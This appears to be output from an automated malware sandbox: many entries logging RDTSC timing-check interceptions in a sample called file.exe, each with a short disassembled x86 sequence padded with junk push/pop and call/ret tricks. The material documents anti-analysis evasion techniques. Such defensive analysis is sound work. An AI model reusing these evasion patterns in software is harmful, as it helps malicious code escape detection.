Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0A46 second address: CD0ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F9C04EA4D28h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F9C04EA4D28h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 je 00007F9C04EA4D2Ch 0x00000047 mov ebx, dword ptr [ebp+122D2D5Ch] 0x0000004d push 00000000h 0x0000004f add di, 858Ch 0x00000054 xchg eax, esi 0x00000055 push edx 0x00000056 jnp 00007F9C04EA4D28h 0x0000005c push edx 0x0000005d pop edx 0x0000005e pop edx 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F9C04EA4D38h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD19A8 second address: CD19AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD19AC second address: CD19B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD19B2 second address: CD19B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD19B8 second address: CD19BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD19BC second address: CD19E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B93A00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c xor bh, 00000049h 0x0000000f push 00000000h 0x00000011 mov ebx, dword ptr [ebp+122D3C05h] 0x00000017 push 00000000h 0x00000019 cld 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD19E6 second address: CD19EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD6B9 second address: CCD6C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F9C04B939F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0C7B second address: CD0C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD6C7 second address: CCD6CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0C7F second address: CD0C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1B12 second address: CD1B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2970 second address: CD2976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0C83 second address: CD0C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1B18 second address: CD1B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2976 second address: CD29A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B93A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F9C04B939F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0C89 second address: CD0C9B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F9C04EA4D26h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD29A0 second address: CD29A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0C9B second address: CD0CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD29A6 second address: CD2A10 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, dword ptr [ebp+122D2E1Ah] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F9C04B939F8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b pushad 0x0000002c mov ax, di 0x0000002f call 00007F9C04B93A09h 0x00000034 movsx esi, bx 0x00000037 pop ebx 0x00000038 popad 0x00000039 push 00000000h 0x0000003b mov ebx, 709684EEh 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 push edi 0x00000046 pop edi 0x00000047 popad 0x00000048 jng 00007F9C04B939FCh 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0CA0 second address: CD0D1B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C04EA4D2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or bl, FFFFFFC2h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 jmp 00007F9C04EA4D2Dh 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 jmp 00007F9C04EA4D34h 0x00000026 mov ebx, edi 0x00000028 mov eax, dword ptr [ebp+122D07D5h] 0x0000002e mov dword ptr [ebp+122D1957h], edx 0x00000034 push FFFFFFFFh 0x00000036 push eax 0x00000037 xor edi, dword ptr [ebp+122D1876h] 0x0000003d pop edi 0x0000003e nop 0x0000003f ja 00007F9C04EA4D35h 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 ja 00007F9C04EA4D26h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2A10 second address: CD2A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2A1B second address: CD2A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04EA4D34h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A93 second address: CD5A99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3BA0 second address: CD3BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A99 second address: CD5A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4C83 second address: CD4C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A9D second address: CD5AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5AA1 second address: CD5ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b or dword ptr [ebp+122D2DCEh], esi 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D2E92h], ebx 0x00000019 push 00000000h 0x0000001b and edi, 3FD6BD90h 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F9C04EA4D35h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5ADA second address: CD5B08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B93A03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9C04B93A04h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7A8E second address: CD7AA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9C04EA4D2Ah 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8B5B second address: CD8BB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B939FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d cmc 0x0000000e and edi, dword ptr [ebp+122D2FA4h] 0x00000014 popad 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F9C04B939F8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 sub dword ptr [ebp+122D33AEh], esi 0x00000037 push 00000000h 0x00000039 jbe 00007F9C04B939FCh 0x0000003f mov edi, dword ptr [ebp+122D32A5h] 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push edx 0x0000004a pop edx 0x0000004b push esi 0x0000004c pop esi 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9CC0 second address: CD9CC5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBD31 second address: CDBD38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBD38 second address: CDBD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9C04EA4D26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE3DE second address: CDE3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE3E2 second address: CDE3FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC467 second address: CDC46D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC46D second address: CDC471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF47B second address: CDF4D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add ebx, dword ptr [ebp+122D3B19h] 0x00000011 push 00000000h 0x00000013 xor ebx, dword ptr [ebp+122D36E1h] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F9C04B939F8h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 sub ebx, 654A3270h 0x0000003b mov dword ptr [ebp+122D1AD4h], eax 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F9C04B93A07h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD54B second address: CDD578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F9C04EA4D38h 0x0000000a popad 0x0000000b push eax 0x0000000c jc 00007F9C04EA4D32h 0x00000012 jng 00007F9C04EA4D2Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE678 second address: CDE67E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF699 second address: CDF6A3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF6A3 second address: CDF6D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9C04B93A07h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C04B939FEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7920 second address: CE794B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04EA4D35h 0x00000009 jmp 00007F9C04EA4D32h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE794B second address: CE794F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE794F second address: CE7961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9C04EA4D26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7961 second address: CE7967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE71F2 second address: CE7206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C04EA4D30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7206 second address: CE7221 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9C04B93A03h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE9FC second address: CEEA00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEA00 second address: CEEA09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEA09 second address: CEEA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEA0F second address: CEEA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9C04B93A07h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFEC8 second address: CEFECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFECE second address: CEFED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F9C04B939F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFF5D second address: CEFF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c jg 00007F9C04EA4D2Ch 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9C04EA4D30h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFF8C second address: CEFF92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFF92 second address: CEFF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF00A8 second address: CF00DE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F9C04B939FCh 0x00000010 jc 00007F9C04B939F6h 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9C04B93A08h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF00DE second address: CF00EB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C04EA4D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3DEA second address: CF3DFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F9C04B939FCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3DFC second address: CF3E19 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9C04EA4D2Ch 0x00000008 jo 00007F9C04EA4D26h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3E19 second address: CF3E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3E21 second address: CF3E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3E27 second address: CF3E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3E2F second address: CF3E35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3E35 second address: CF3E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C04B93A03h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4296 second address: CF42A0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9C04EA4D2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF45F8 second address: CF4602 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9C04B939F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4602 second address: CF4607 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4607 second address: CF4615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF476C second address: CF4780 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F9C04EA4D26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F9C04EA4D26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF48BC second address: CF48E5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jng 00007F9C04B939F6h 0x0000000f jmp 00007F9C04B93A09h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF48E5 second address: CF48EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF48EA second address: CF48F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9C04B939F6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7BED second address: CF7BF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7BF3 second address: CF7BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF7BF9 second address: CF7C18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F9C04EA4D26h 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9C04EA4D2Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBD92 second address: CFBDB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9C04B939FBh 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnp 00007F9C04B939F6h 0x00000015 jns 00007F9C04B939F6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFBDB8 second address: CFBDD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b js 00007F9C04EA4D2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC0AB second address: CFC0C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04B93A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC0C8 second address: CFC101 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C04EA4D32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F9C04EA4D39h 0x00000010 jg 00007F9C04EA4D26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC60C second address: CFC627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C04B939FDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC627 second address: CFC637 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F9C04EA4D2Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC637 second address: CFC63F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
